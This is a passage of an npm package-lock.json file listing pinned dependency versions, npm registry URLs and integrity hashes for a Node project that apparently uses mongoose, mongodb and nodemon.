2936 | "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz",
2937 | "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==",
2938 | "requires": {
2939 | "is-obj": "^2.0.0"
2940 | }
2941 | },
2942 | "duplexer3": {
2943 | "version": "0.1.4",
2944 | "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
2945 | "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI="
2946 | },
2947 | "emoji-regex": {
2948 | "version": "8.0.0",
2949 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
2950 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
2951 | },
2952 | "end-of-stream": {
2953 | "version": "1.4.4",
2954 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
2955 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
2956 | "requires": {
2957 | "once": "^1.4.0"
2958 | }
2959 | },
2960 | "escalade": {
2961 | "version": "3.1.1",
2962 | "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
2963 | "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw=="
2964 | },
2965 | "escape-goat": {
2966 | "version": "2.1.1",
2967 | "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz",
2968 | "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q=="
2969 | },
2970 | "esm": {
2971 | "version": "3.2.25",
2972 | "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz",
2973 | "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA=="
2974 | },
2975 | "fill-range": {
2976 | "version": "7.0.1",
2977 | "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
2978 | "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
2979 | "requires": {
2980 | "to-regex-range": "^5.0.1"
2981 | }
2982 | },
2983 | "follow-redirects": {
2984 | "version": "1.14.5",
2985 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.5.tgz",
2986 | "integrity": "sha512-wtphSXy7d4/OR+MvIFbCVBDzZ5520qV8XfPklSN5QtxuMUJZ+b0Wnst1e1lCDocfzuCkHqj8k0FpZqO+UIaKNA=="
2987 | },
2988 | "fs": {
2989 | "version": "0.0.1-security",
2990 | "resolved": "https://registry.npmjs.org/fs/-/fs-0.0.1-security.tgz",
2991 | "integrity": "sha1-invTcYa23d84E/I4WLV+yq9eQdQ="
2992 | },
2993 | "fs-minipass": {
2994 | "version": "2.1.0",
2995 | "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
2996 | "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
2997 | "requires": {
2998 | "minipass": "^3.0.0"
2999 | }
3000 | },
3001 | "fs.realpath": {
3002 | "version": "1.0.0",
3003 | "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
3004 | "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
3005 | },
3006 | "fsevents": {
3007 | "version": "2.3.2",
3008 | "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
3009 | "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
3010 | "optional": true
3011 | },
3012 | "gauge": {
3013 | "version": "3.0.1",
3014 | "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.1.tgz",
3015 | "integrity": "sha512-6STz6KdQgxO4S/ko+AbjlFGGdGcknluoqU+79GOFCDqqyYj5OanQf9AjxwN0jCidtT+ziPMmPSt9E4hfQ0CwIQ==",
3016 | "requires": {
3017 | "aproba": "^1.0.3 || ^2.0.0",
3018 | "color-support": "^1.1.2",
3019 | "console-control-strings": "^1.0.0",
3020 | "has-unicode": "^2.0.1",
3021 | "object-assign": "^4.1.1",
3022 | "signal-exit": "^3.0.0",
3023 | "string-width": "^1.0.1 || ^2.0.0",
3024 | "strip-ansi": "^3.0.1 || ^4.0.0",
3025 | "wide-align": "^1.1.2"
3026 | }
3027 | },
3028 | "get-caller-file": {
3029 | "version": "2.0.5",
3030 | "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
3031 | "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="
3032 | },
3033 | "get-stream": {
3034 | "version": "4.1.0",
3035 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
3036 | "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
3037 | "requires": {
3038 | "pump": "^3.0.0"
3039 | }
3040 | },
3041 | "glob": {
3042 | "version": "7.2.0",
3043 | "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz",
3044 | "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==",
3045 | "requires": {
3046 | "fs.realpath": "^1.0.0",
3047 | "inflight": "^1.0.4",
3048 | "inherits": "2",
3049 | "minimatch": "^3.0.4",
3050 | "once": "^1.3.0",
3051 | "path-is-absolute": "^1.0.0"
3052 | }
3053 | },
3054 | "glob-parent": {
3055 | "version": "5.1.2",
3056 | "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
3057 | "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
3058 | "requires": {
3059 | "is-glob": "^4.0.1"
3060 | }
3061 | },
3062 | "global-dirs": {
3063 | "version": "3.0.0",
3064 | "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.0.tgz",
3065 | "integrity": "sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA==",
3066 | "requires": {
3067 | "ini": "2.0.0"
3068 | }
3069 | },
3070 | "got": {
3071 | "version": "9.6.0",
3072 | "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
3073 | "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
3074 | "requires": {
3075 | "@sindresorhus/is": "^0.14.0",
3076 | "@szmarczak/http-timer": "^1.1.2",
3077 | "cacheable-request": "^6.0.0",
3078 | "decompress-response": "^3.3.0",
3079 | "duplexer3": "^0.1.4",
3080 | "get-stream": "^4.1.0",
3081 | "lowercase-keys": "^1.0.1",
3082 | "mimic-response": "^1.0.1",
3083 | "p-cancelable": "^1.0.0",
3084 | "to-readable-stream": "^1.0.0",
3085 | "url-parse-lax": "^3.0.0"
3086 | }
3087 | },
3088 | "graceful-fs": {
3089 | "version": "4.2.8",
3090 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz",
3091 | "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg=="
3092 | },
3093 | "has-flag": {
3094 | "version": "4.0.0",
3095 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
3096 | "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
3097 | },
3098 | "has-unicode": {
3099 | "version": "2.0.1",
3100 | "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
3101 | "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk="
3102 | },
3103 | "has-yarn": {
3104 | "version": "2.1.0",
3105 | "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz",
3106 | "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw=="
3107 | },
3108 | "http-cache-semantics": {
3109 | "version": "4.1.0",
3110 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
3111 | "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
3112 | },
3113 | "https-proxy-agent": {
3114 | "version": "5.0.0",
3115 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz",
3116 | "integrity": "sha512-EkYm5BcKUGiduxzSt3Eppko+PiNWNEpa4ySk9vTC6wDsQJW9rHSa+UhGNJoRYp7bz6Ht1eaRIa6QaJqO5rCFbA==",
3117 | "requires": {
3118 | "agent-base": "6",
3119 | "debug": "4"
3120 | }
3121 | },
3122 | "ieee754": {
3123 | "version": "1.2.1",
3124 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
3125 | "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="
3126 | },
3127 | "ignore-by-default": {
3128 | "version": "1.0.1",
3129 | "resolved": "https://registry.npmjs.org/ignore-by-default/-/ignore-by-default-1.0.1.tgz",
3130 | "integrity": "sha1-SMptcvbGo68Aqa1K5odr44ieKwk="
3131 | },
3132 | "import-lazy": {
3133 | "version": "2.1.0",
3134 | "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz",
3135 | "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
3136 | },
3137 | "imurmurhash": {
3138 | "version": "0.1.4",
3139 | "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
3140 | "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o="
3141 | },
3142 | "inflight": {
3143 | "version": "1.0.6",
3144 | "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
3145 | "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
3146 | "requires": {
3147 | "once": "^1.3.0",
3148 | "wrappy": "1"
3149 | }
3150 | },
3151 | "inherits": {
3152 | "version": "2.0.3",
3153 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
3154 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
3155 | },
3156 | "ini": {
3157 | "version": "2.0.0",
3158 | "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz",
3159 | "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA=="
3160 | },
3161 | "is-binary-path": {
3162 | "version": "2.1.0",
3163 | "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
3164 | "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
3165 | "requires": {
3166 | "binary-extensions": "^2.0.0"
3167 | }
3168 | },
3169 | "is-ci": {
3170 | "version": "2.0.0",
3171 | "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
3172 | "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
3173 | "requires": {
3174 | "ci-info": "^2.0.0"
3175 | }
3176 | },
3177 | "is-extglob": {
3178 | "version": "2.1.1",
3179 | "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
3180 | "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
3181 | },
3182 | "is-fullwidth-code-point": {
3183 | "version": "2.0.0",
3184 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
3185 | "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
3186 | },
3187 | "is-glob": {
3188 | "version": "4.0.3",
3189 | "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
3190 | "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
3191 | "requires": {
3192 | "is-extglob": "^2.1.1"
3193 | }
3194 | },
3195 | "is-installed-globally": {
3196 | "version": "0.4.0",
3197 | "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz",
3198 | "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==",
3199 | "requires": {
3200 | "global-dirs": "^3.0.0",
3201 | "is-path-inside": "^3.0.2"
3202 | }
3203 | },
3204 | "is-npm": {
3205 | "version": "5.0.0",
3206 | "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-5.0.0.tgz",
3207 | "integrity": "sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA=="
3208 | },
3209 | "is-number": {
3210 | "version": "7.0.0",
3211 | "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
3212 | "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="
3213 | },
3214 | "is-obj": {
3215 | "version": "2.0.0",
3216 | "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
3217 | "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="
3218 | },
3219 | "is-path-inside": {
3220 | "version": "3.0.3",
3221 | "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
3222 | "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ=="
3223 | },
3224 | "is-typedarray": {
3225 | "version": "1.0.0",
3226 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
3227 | "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
3228 | },
3229 | "is-yarn-global": {
3230 | "version": "0.3.0",
3231 | "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz",
3232 | "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw=="
3233 | },
3234 | "json-buffer": {
3235 | "version": "3.0.0",
3236 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
3237 | "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
3238 | },
3239 | "kareem": {
3240 | "version": "2.3.2",
3241 | "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.3.2.tgz",
3242 | "integrity": "sha512-STHz9P7X2L4Kwn72fA4rGyqyXdmrMSdxqHx9IXon/FXluXieaFA6KJ2upcHAHxQPQ0LeM/OjLrhFxifHewOALQ=="
3243 | },
3244 | "keyv": {
3245 | "version": "3.1.0",
3246 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
3247 | "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
3248 | "requires": {
3249 | "json-buffer": "3.0.0"
3250 | }
3251 | },
3252 | "latest-version": {
3253 | "version": "5.1.0",
3254 | "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz",
3255 | "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==",
3256 | "requires": {
3257 | "package-json": "^6.3.0"
3258 | }
3259 | },
3260 | "lodash": {
3261 | "version": "4.17.21",
3262 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
3263 | "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
3264 | },
3265 | "lowercase-keys": {
3266 | "version": "1.0.1",
3267 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
3268 | "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA=="
3269 | },
3270 | "lru-cache": {
3271 | "version": "6.0.0",
3272 | "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
3273 | "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
3274 | "requires": {
3275 | "yallist": "^4.0.0"
3276 | }
3277 | },
3278 | "make-dir": {
3279 | "version": "3.1.0",
3280 | "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
3281 | "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
3282 | "requires": {
3283 | "semver": "^6.0.0"
3284 | },
3285 | "dependencies": {
3286 | "semver": {
3287 | "version": "6.3.0",
3288 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
3289 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
3290 | }
3291 | }
3292 | },
3293 | "memory-pager": {
3294 | "version": "1.5.0",
3295 | "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz",
3296 | "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==",
3297 | "optional": true
3298 | },
3299 | "mimic-response": {
3300 | "version": "1.0.1",
3301 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
3302 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ=="
3303 | },
3304 | "minimatch": {
3305 | "version": "3.0.4",
3306 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
3307 | "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
3308 | "requires": {
3309 | "brace-expansion": "^1.1.7"
3310 | }
3311 | },
3312 | "minimist": {
3313 | "version": "1.2.5",
3314 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
3315 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
3316 | },
3317 | "minipass": {
3318 | "version": "3.1.5",
3319 | "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.5.tgz",
3320 | "integrity": "sha512-+8NzxD82XQoNKNrl1d/FSi+X8wAEWR+sbYAfIvub4Nz0d22plFG72CEVVaufV8PNf4qSslFTD8VMOxNVhHCjTw==",
3321 | "requires": {
3322 | "yallist": "^4.0.0"
3323 | }
3324 | },
3325 | "minizlib": {
3326 | "version": "2.1.2",
3327 | "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
3328 | "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
3329 | "requires": {
3330 | "minipass": "^3.0.0",
3331 | "yallist": "^4.0.0"
3332 | }
3333 | },
3334 | "mkdirp": {
3335 | "version": "1.0.4",
3336 | "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
3337 | "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="
3338 | },
3339 | "mongodb": {
3340 | "version": "4.2.1",
3341 | "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-4.2.1.tgz",
3342 | "integrity": "sha512-nDC+ulM/Ea3Q2VG5eemuGfB7T4ORwrtKegH2XW9OLlUBgQF6OTNrzFCS1Z3SJGVA+T0Sr1xBYV6DMnp0A7us0g==",
3343 | "requires": {
3344 | "bson": "^4.6.0",
3345 | "denque": "^2.0.1",
3346 | "mongodb-connection-string-url": "^2.2.0",
3347 | "saslprep": "^1.0.3"
3348 | }
3349 | },
3350 | "mongodb-connection-string-url": {
3351 | "version": "2.2.0",
3352 | "resolved": "https://registry.npmjs.org/mongodb-connection-string-url/-/mongodb-connection-string-url-2.2.0.tgz",
3353 | "integrity": "sha512-U0cDxLUrQrl7DZA828CA+o69EuWPWEJTwdMPozyd7cy/dbtncUZczMw7wRHcwMD7oKOn0NM2tF9jdf5FFVW9CA==",
3354 | "requires": {
3355 | "@types/whatwg-url": "^8.2.1",
3356 | "whatwg-url": "^11.0.0"
3357 | }
3358 | },
3359 | "mongoose": {
3360 | "version": "6.0.13",
3361 | "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-6.0.13.tgz",
3362 | "integrity": "sha512-/M/YKgx23fCX+j0lwObaHbCibXnMjyWeQrXZf0WaQeS/hL86wQVSmaOxh+kZXfyLOUr+vT2Hl44o50GZHUrKWw==",
3363 | "requires": {
3364 | "bson": "^4.2.2",
3365 | "kareem": "2.3.2",
3366 | "mongodb": "4.1.4",
3367 | "mpath": "0.8.4",
3368 | "mquery": "4.0.0",
3369 | "ms": "2.1.2",
3370 | "regexp-clone": "1.0.0",
3371 | "sift": "13.5.2",
3372 | "sliced": "1.0.1"
3373 | },
3374 | "dependencies": {
3375 | "mongodb": {
3376 | "version": "4.1.4",
3377 | "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-4.1.4.tgz",
3378 | "integrity": "sha512-Cv/sk8on/tpvvqbEvR1h03mdyNdyvvO+WhtFlL4jrZ+DSsN/oSQHVqmJQI/sBCqqbOArFcYCAYDfyzqFwV4GSQ==",
3379 | "requires": {
3380 | "bson": "^4.5.4",
3381 | "denque": "^2.0.1",
3382 | "mongodb-connection-string-url": "^2.1.0",
3383 | "saslprep": "^1.0.3"
3384 | }
3385 | }
3386 | }
3387 | },
3388 | "mpath": {
3389 | "version": "0.8.4",
3390 | "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.8.4.tgz",
3391 | "integrity": "sha512-DTxNZomBcTWlrMW76jy1wvV37X/cNNxPW1y2Jzd4DZkAaC5ZGsm8bfGfNOthcDuRJujXLqiuS6o3Tpy0JEoh7g=="
3392 | },
3393 | "mquery": {
3394 | "version": "4.0.0",
3395 | "resolved": "https://registry.npmjs.org/mquery/-/mquery-4.0.0.tgz",
3396 | "integrity": "sha512-nGjm89lHja+T/b8cybAby6H0YgA4qYC/lx6UlwvHGqvTq8bDaNeCwl1sY8uRELrNbVWJzIihxVd+vphGGn1vBw==",
3397 | "requires": {
3398 | "debug": "4.x",
3399 | "regexp-clone": "^1.0.0",
3400 | "sliced": "1.0.1"
3401 | }
3402 | },
3403 | "ms": {
3404 | "version": "2.1.2",
3405 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
3406 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
3407 | },
3408 | "nan": {
3409 | "version": "2.15.0",
3410 | "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz",
3411 | "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==",
3412 | "optional": true
3413 | },
3414 | "node-addon-api": {
3415 | "version": "3.2.1",
3416 | "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz",
3417 | "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A=="
3418 | },
3419 | "node-fetch": {
3420 | "version": "2.6.6",
3421 | "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.6.tgz",
3422 | "integrity": "sha512-Z8/6vRlTUChSdIgMa51jxQ4lrw/Jy5SOW10ObaA47/RElsAN2c5Pn8bTgFGWn/ibwzXTE8qwr1Yzx28vsecXEA==",
3423 | "requires": {
3424 | "whatwg-url": "^5.0.0"
3425 | },
3426 | "dependencies": {
3427 | "tr46": {
3428 | "version": "0.0.3",
3429 | "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
3430 | "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o="
3431 | },
3432 | "webidl-conversions": {
3433 | "version": "3.0.1",
3434 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
3435 | "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE="
3436 | },
3437 | "whatwg-url": {
3438 | "version": "5.0.0",
3439 | "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
3440 | "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=",
3441 | "requires": {
3442 | "tr46": "~0.0.3",
3443 | "webidl-conversions": "^3.0.0"
3444 | }
3445 | }
3446 | }
3447 | },
3448 | "nodemon": {
3449 | "version": "2.0.15",
3450 | "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.15.tgz",
3451 | "integrity": "sha512-gdHMNx47Gw7b3kWxJV64NI+Q5nfl0y5DgDbiVtShiwa7Z0IZ07Ll4RLFo6AjrhzMtoEZn5PDE3/c2AbVsiCkpA==",
3452 | "requires": {
3453 | "chokidar": "^3.5.2",
3454 | "debug": "^3.2.7",
3455 | "ignore-by-default": "^1.0.1",
3456 | "minimatch": "^3.0.4",
3457 | "pstree.remy": "^1.1.8",
3458 | "semver": "^5.7.1",
3459 | "supports-color": "^5.5.0",
3460 | "touch": "^3.1.0",
3461 | "undefsafe": "^2.0.5",
3462 | "update-notifier": "^5.1.0"
3463 | },
3464 | "dependencies": {
3465 | "debug": {
3466 | "version": "3.2.7",
3467 | "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
3468 | "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
3469 | "requires": {
3470 | "ms": "^2.1.1"
3471 | }
3472 | },
3473 | "has-flag": {
3474 | "version": "3.0.0",
3475 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
